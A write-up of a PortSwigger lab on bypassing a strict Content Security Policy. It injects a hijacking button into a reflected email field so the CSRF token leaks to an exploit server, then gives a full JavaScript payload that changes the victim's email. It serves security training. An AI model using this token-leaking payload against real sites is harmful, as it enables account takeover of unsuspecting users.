Reflected XSS Protected by Very Strict CSP with Dangling Markup Attack
A PortSwigger XSS lab writeup about bypassing a strict CSP by using dangling markup and form hijacking.
Introduction
This is another PortSwigger lab in the XSS category, titled Reflected XSS protected by very strict CSP, with dangling markup attack.
The goal is to bypass a strict Content Security Policy (CSP) by using dangling markup and form hijacking.
Content Security Policy (CSP)
Content Security Policy is a mechanism that lets web developers tell the browser which resources are allowed to load on a website. In other words, it defines a strict whitelist of allowed resources, whether they are JavaScript files from the same origin, external scripts, stylesheets, images, or other assets.
Instead of letting the browser load whatever it finds, the application can restrict resources by returning the Content-Security-Policy HTTP header. This defense mechanism helps prevent several web attacks, especially XSS.
As mentioned in previous posts, XSS is the injection of browser-executed code into a website. One of the most common XSS payloads uses inline scripts, such as:
1
<script>alert(1)</script>
CSP blocks inline scripts by default unless the policy explicitly allows them with options such as 'unsafe-inline', a nonce, or a hash. For example, the following policy blocks inline scripts and only allows scripts loaded from the same origin:
1
Content-Security-Policy: script-src 'self';
Here, 'self' means the same origin: scheme, host, and port.
Different directives can control different resource types, including scripts, styles, images, and more. A simple way to inspect the policy is to run:
1
curl -I <TARGET>
Then we can analyze the returned CSP header.
CSP Policies
To learn more about CSP policies, you can check this useful resource: content-security-policy.com.
Some common CSP directives are:
default-src: Defines the default policy for fetching resources such as JavaScript, images, and CSS.script-src: Defines which sources can load, execute, and embed scripts. This is an important XSS defense.style-src: Defines which sources can load stylesheets and CSS.img-src: Defines valid image sources.object-src: Defines valid sources for plugins and embedded objects.
CSP Source Expressions
Source expressions are the values used inside directives such as script-src. Two important expressions are nonces and hashes.
A nonce is a random token that allows a specific inline script to run. For example:
1
Content-Security-Policy: script-src 'nonce-abc123';
That policy allows the following inline script:
1
2
3
<script nonce="abc123">
alert(1);
</script>
The nonce is generated by the server and should only be used once per response.
A hash allows only inline scripts whose content matches a specific cryptographic fingerprint. For example, if we calculate a SHA-256 hash for a script body and allow that hash in the policy, the browser will only execute inline scripts that match it exactly.
Information Gathering
Now let’s solve the lab by understanding the behavior of the website.
We have the usual blog page:
Before anything else, let’s check the CSP by using curl -I.
1
2
3
4
5
content-type: application/json; charset=utf-8
set-cookie: session=sZmheHzvqRLioLegFqZgNX7MypekZPzK; Secure; HttpOnly; SameSite=None
content-security-policy: default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';
x-frame-options: SAMEORIGIN
content-length: 11
From this CSP, we can tell that JavaScript code will not run unless it is loaded from a file on the same origin.
Let’s log in with the provided credentials, wiener:peter, and see what functionality is available.
Since we are planning to change the victim’s email address, we need to intercept the email change request to identify the endpoint and its parameters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /my-account/change-email HTTP/2
Host: 0a7600f104b9634b80051cab00fa00c4.web-security-academy.net
Cookie: session=WUSW6itZHZusH9RFQe3okZmQadXlwgof
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: https://0a7600f104b9634b80051cab00fa00c4.web-security-academy.net
Referer: https://0a7600f104b9634b80051cab00fa00c4.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
email=koussay%40gmail.com&csrf=9dqZgUI5AChkqDVPZpgdz0jRaYhohydt
The endpoint is /my-account/change-email, and it expects two parameters: email and csrf.
Back on the account page, let’s try something an XSS attacker might test by changing the input type from email to text.
The output is sanitized and escaped, so we need another approach.
Vulnerability and Exploitation
If we add an email parameter to the URL, such as ?email=hoho, we can see that its value is reflected inside the email input field.
We can take advantage of this by closing the input attribute and injecting another HTML element.
1
?email=hoho"%20>%20<h1>nyohoho</h1>
The result shows that we can inject markup:
So we have reflected XSS-style HTML injection, but because of the strict CSP, we cannot execute JavaScript on the victim page. Instead, we can use form hijacking. The idea is to inject a button that submits the existing form to our exploit server.
1
my-account?email=hoho"%20>%20<button%20formaction=%27https://exploit-0ab0000004f5227d80dbc51001b500b8.exploit-server.net/exploit%27%20formmethod=%27get%27>%20Click%20Me!%20</button>
This injects the following button:
1
<button formaction="MALICIOUS_URL" formmethod="GET">Click Me!</button>
The formaction attribute redirects the form submission to our exploit server, and formmethod="GET" changes the request method from POST to GET. This makes the CSRF token appear in the URL query string when the victim clicks the button.
Payload Writing
Now we write the JavaScript payload on our exploit server. It will send a POST request to change the victim’s email address to hacker@evil-user.net.
First, we get the values from the URL, especially the CSRF token.
1
2
3
const params = new URLSearchParams(window.location.search);
const email = 'hacker@evil-user.net';
const csrf = params.get('csrf');
Then we create and submit a form. Using fetch() will not work cleanly here because of browser security restrictions, so a regular HTML form submission is the simpler approach.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (!csrf) {
location = 'https://0a1d00cf04bc22ba80a7c65a00c00014.web-security-academy.net/my-account?email=blah@blah.com%22%20%3E%20%3Cbutton%20formaction=%27https://exploit-0ab0000004f5227d80dbc51001b500b8.exploit-server.net/exploit%27%20formmethod=%27get%27%3E%20Click%20Me!%20%3C/button%3E';
} else {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://0a1d00cf04bc22ba80a7c65a00c00014.web-security-academy.net/my-account/change-email';
const emailInput = document.createElement('input');
emailInput.type = 'hidden';
emailInput.name = 'email';
emailInput.value = email;
form.appendChild(emailInput);
const csrfInput = document.createElement('input');
csrfInput.type = 'hidden';
csrfInput.name = 'csrf';
csrfInput.value = csrf;
form.appendChild(csrfInput);
document.body.appendChild(form);
form.submit();
}
If the CSRF token is missing, the victim is redirected to the form-hijacked page. If the CSRF token is present, the exploit server builds a form and submits the email change request.
The full exploit payload is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<script>
window.addEventListener('DOMContentLoaded', function() {
const params = new URLSearchParams(window.location.search);
const email = 'hacker@evil-user.net';
const csrf = params.get('csrf');
if (!csrf) {
window.location = 'https://0a1d00cf04bc22ba80a7c65a00c00014.web-security-academy.net/my-account?email=blah@blah.com%22%20%3E%20%3Cbutton%20formaction=%27https://exploit-0ab0000004f5227d80dbc51001b500b8.exploit-server.net/exploit%27%20formmethod=%27get%27%3E%20Click%20Me!%20%3C/button%3E';
} else {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://0a1d00cf04bc22ba80a7c65a00c00014.web-security-academy.net/my-account/change-email';
const emailInput = document.createElement('input');
emailInput.type = 'hidden';
emailInput.name = 'email';
emailInput.value = email;
form.appendChild(emailInput);
const csrfInput = document.createElement('input');
csrfInput.type = 'hidden';
csrfInput.name = 'csrf';
csrfInput.value = csrf;
form.appendChild(csrfInput);
document.body.appendChild(form);
form.submit();
}
});
</script>
After delivering the exploit to the victim, the email change request is submitted and the lab is solved.
Conclusion
This was a nice way to bypass the practical limitations of a strict CSP. Instead of executing JavaScript on the victim page, we used injected markup to hijack the form flow, leak the CSRF token to the exploit server, and then submit the final email change request from there.

.png)
.png)
.png)
.png)